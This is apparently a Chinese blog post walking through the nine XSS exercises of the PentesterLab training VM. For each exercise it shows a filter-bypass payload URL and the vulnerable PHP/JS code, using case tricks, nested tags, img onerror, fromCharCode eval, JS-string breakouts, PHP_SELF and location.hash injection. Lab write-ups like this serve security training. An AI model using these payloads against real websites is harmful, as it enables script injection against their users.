pentesterlab xss漏洞分析

标签: pentesterlab xss 分析 | 发表时间:2014-01-13 16:38 | 作者:tinyhema
分享到:
出处:http://www.iteye.com
pentesterlab简介

pentesterlab官方定义自己是一个简单又十分有效学习渗透测试的演练平台。

pentesterlab环境搭建
官方提供了一个基于debian6的镜像,官网下载镜像,使用vmware建立一个虚拟机,启动即可。

ps:官方文档建议做一个host绑定,方便后面使用
windows下hosts文件目录:C:\Windows\System32\Drivers\etc\hosts,打开后添加以下一行
192.168.1.100 vulnerable # 具体ip可以在虚拟机中使用ifconfig查看


xss分析
  • 第一个xss非常简单,直接输入即可
  • // <script>alert(1);</script>
    http://vulnerable/xss/example1.php?name=%3Cscript%3Ealert(1)%3C/script%3E
    

    它对应的代码如下
    <?php 
    	echo $_GET["name"];
    ?>
    

  • 第二个xss过滤了 小写的<script>与</script>,可以使用大小写绕过
  • // <sCript>alert(1);</scrIpt>
    http://vulnerable/xss/example2.php?name=%3CsCript%3Ealert(1);%3C/scrIpt%3E
    

    它对应的代码如下
    <?php 
    	$name = $_GET["name"];
    	$name = preg_replace("/<script>/", "", $name);
    	$name = preg_replace("/<\/script>/", "", $name);
    	echo $name;
    ?>
    

  • 第三个xss过滤了 不区分大小写的<script>与</script>,可以使用嵌套的script标签绕过
  • // <sCr<scriPt>ipt>alert(1)</scr</scRipt>Ipt>
    http://vulnerable/xss/example3.php?name=%3CsCr%3CscriPt%3Eipt%3Ealert(1)%3C/scr%3C/scRipt%3EIpt%3E
    

    它对应的代码如下
    <?php 
    	$name = $_GET["name"];
    	$name = preg_replace("/<script>/i", "", $name);
    	$name = preg_replace("/<\/script>/i", "", $name);
    	echo $name;
    ?>
    

  • 第四个xss判断 包含script字符串即报错,可以使用img标签绕过
  • // <img src='a' onerror='alert(1)' />
    http://vulnerable/xss/example4.php?name=%3Cimg%20src='a'%20onerror='alert(1)'%20/%3E
    

    它对应的代码如下
    <?php 
    	if(preg_match('/script/i', $_GET["name"])) {
    		die("error");
    	}
    ?>
    

  • 第五个xss判断 包含alert字符串即报错,@_@,可以使用编码方式绕过
  • // <iMg src=N onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,112,111,114,117,105,110,39,41))">
    http://vulnerable/xss/example5.php?name=%3CiMg%20src=N%20onerror=%22eval(String.fromCharCode(97,108,101,114,116,40,39,112,111,114,117,105,110,39,41))%22%3E
    

    它对应的代码如下
    <?php 
    	if(preg_match('/alert/i', $_GET["name"])) {
    		die("error");
    	}
    ?>
    

  • 第六个xss 直接在js环境中输出php变量,可以通过构造js脚本绕过
  • // ";b=alert(1);eval(b);//
    http://vulnerable/xss/example6.php?name=%22;b=alert(1);eval(b);//

    它对应的代码如下
    <script>
    	var $a = "<?php echo $_GET["name"]; ?>";
    <script>
    

  • 第七个xss 在js环境中输出通过html编码的php变量,htmlentities没有过滤单引号,使用单引号绕过
  • // ';b=alert(1);eval(b);//
    http://vulnerable/xss/example7.php?name=';b=alert(1);eval(b);//
    

    它对应的代码如下
    <script>
    	var $a = "<?php echo htmlentities($_GET["name"]); ?>";
    <script>
    

  • 第八个xss的 post地址使用了当前url,构造当前url地址达到xss目的
  • // /"method="POST"><script>alert(1)</script>
    http://vulnerable/xss/example8.php/%22method=%22POST%22%3E%3Cscript%3Ealert(1)%3C/script%3E
    

    它对应的代码如下
    <?php 
    	if(isset($_POST["name"])) {
    		echo "HELLO ".htmlentities($_POST["name"]);
    	}
    ?>
    <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
    	Your name:<input type="text" name="name" />
    	<input type="submit" name="submit" />
    

  • 第九个xss 直接在页面输出锚点id,构建一个带xss的锚点即可
  • // #<script>alert(1)</script>
    http://vulnerable/xss/example9.php#<script>alert(1)</script>
    

    它对应的代码如下
    <script>
    	document.write(location.hash.substring(1));
    </script>
    


    原创文章http://tinyhema.iteye.com/blog/2003605,转载请注明。


    已有 0 人发表留言,猛击->> 这里<<-参与讨论


    ITeye推荐



    相关 [pentesterlab xss 分析] 推荐:

    pentesterlab xss漏洞分析

    - - JavaScript - Web前端 - ITeye博客
    pentesterlab简介. pentesterlab官方定义自己是一个简单又十分有效学习渗透测试的演练平台. pentesterlab环境搭建. 官方提供了一个基于debian6的镜像,官网下载镜像,使用vmware建立一个虚拟机,启动即可. ps:官方文档建议做一个host绑定,方便后面使用.

    XSS的原理分析与解剖(第二篇)

    - - FreeBuf.COM
    上节( http://www.freebuf.com/articles/web/40520.html)已经说明了xss的原理及不同环境的构造方法. 本期来说说XSS的分类及挖掘方法. 当第一期出来的时候,反馈很好,但还是有很多人提出疑问,我这里就解答下. 问1:如果我输入PHP语句会不会执行. 答1:不会,因为XSS是面对前台的(用户可见部分),而PHP则是后台处理(用户不可见部分),如果可以执行PHP语句的话,那不叫XSS,叫"任意代码执行".

    深掘XSS漏洞场景之XSS Rootkit

    - jyf1987 - 80sec
    深掘XSS漏洞场景之XSS Rootkit[完整修订版]. 众所周知XSS漏洞的风险定义一直比较模糊,XSS漏洞属于高危漏洞还是低风险漏洞一直以来都有所争议. XSS漏洞类型主要分为持久型和非持久型两种:. 非持久型XSS漏洞一般存在于URL参数中,需要访问黑客构造好的特定URL才能触发漏洞. 持久型XSS漏洞一般存在于富文本等交互功能,如发帖留言等,黑客使用的XSS内容经正常功能进入数据库持久保存.

    XSS 探索 - big-brother

    - - 博客园_首页
    正常的页面被渗出了攻击者的js脚本,这些脚本可以非法地获取用户信息,然后将信息发送到attacked的服务端. XSS是需要充分利用输出环境来构造攻击脚本的. 非法获取用户cookie、ip等内容. 劫持浏览器,形成DDOS攻击. Reflected XSS:可以理解为参数型XSS攻击,攻击的切入点是url后面的参数.

    前端xss攻击

    - - SegmentFault 最新的文章
    实习的时候在项目中有接触过关于xss攻击的内容,并且使用了项目组中推荐的一些常用的防xss攻击的方法对项目进行了防攻击的完善. 但一直没有时间深入了解这东西,在此,做一个简单的梳理. xss跨站脚本攻击(Cross Site Scripting),是一种经常出现在web应用中的计算机安全漏洞,它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入的恶意html代码会被执行,从而达到恶意用户的特殊目的.

    百度知道XSS漏洞

    - - 博客园_首页
    事情的起因是我一同学在百度知道上看到一个很奇怪的,正文带有连接的提问( 这里),正常来说,这种情况是不可能出现的. 我条件反射的想到了:XSS漏洞. 通过查看源代码,我马上发现了问题的根源:未结束的<a>标签. <pre class="line q-content mt-10" accuse="qContent">帮我写一个能提取<a href="http://.

    XSS攻击技术详解

    - - BlogJava-qileilove
      XSS攻击:跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆. web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中. 比如这些代码包括HTML代码和客户端脚本. 攻击者利用XSS漏洞旁路掉访问控制--例如同源策略(same origin policy).

    XSS攻击及防御

    - - BlogJava-qileilove
    XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性. 其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的.

    [xss学习]xss基础内容之抛砖引玉篇

    - - 神刀网
    测试代码: xss.php?word=90欢迎您” onclick=”alert(1)说明:这种类型是输出会出现在HTML标签的属性之中. 例如: <input value=”输出”> 、 <img onload=”…[输出]…”> ,再比如 <body style=”…[输出]…”> 等等 在HTML属性中,会自动对实体字符进行转义.